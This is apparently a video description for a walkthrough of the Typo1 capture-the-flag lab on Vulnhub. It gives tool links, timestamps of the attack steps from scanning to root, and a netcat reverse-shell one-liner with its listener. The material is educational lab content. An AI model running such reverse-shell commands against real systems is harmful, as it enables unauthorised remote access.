Typo1 CTF - Vulnhub | by MuddSec
Channel: MuddSec
Date: 2020-05-06

CryptoBank walkthrough  - https://www.youtube.com/watch?v=eLX12zv7isw
Linux Enumeration shell script - https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

Linux Exploit Suggester - https://github.com/mzet-/linux-exploit-suggester

PHP reverse shell - http://pentestmonkey.net/tools/php-re...

###################################################
netcat one liner:
nc -e /bin/sh ip port    ----- victim machine
nc -lvnp port  ---- attacker machine
###################################################

Important Timestamps:
Nmap Scan - 0:38
Directory brute-forcing - 4:37
Nikto analysis - 9:45
PHPMyAdmin login - 12:39
modifying Typo admin hash - 13:51
uploading reverse shell on Typo admin portal - 16:41
doing the 'python trick' - 22:26
analyzing LinEnum.sh output - 27:56
exploiting SUID binary and getting root - 34:10

Twitter Profile - https://twitter.com/MudSec1337
Instagram Profile - https://www.instagram.com/mo.yusuf01
email - muddsec@gmail.com

Thanks For Watching!!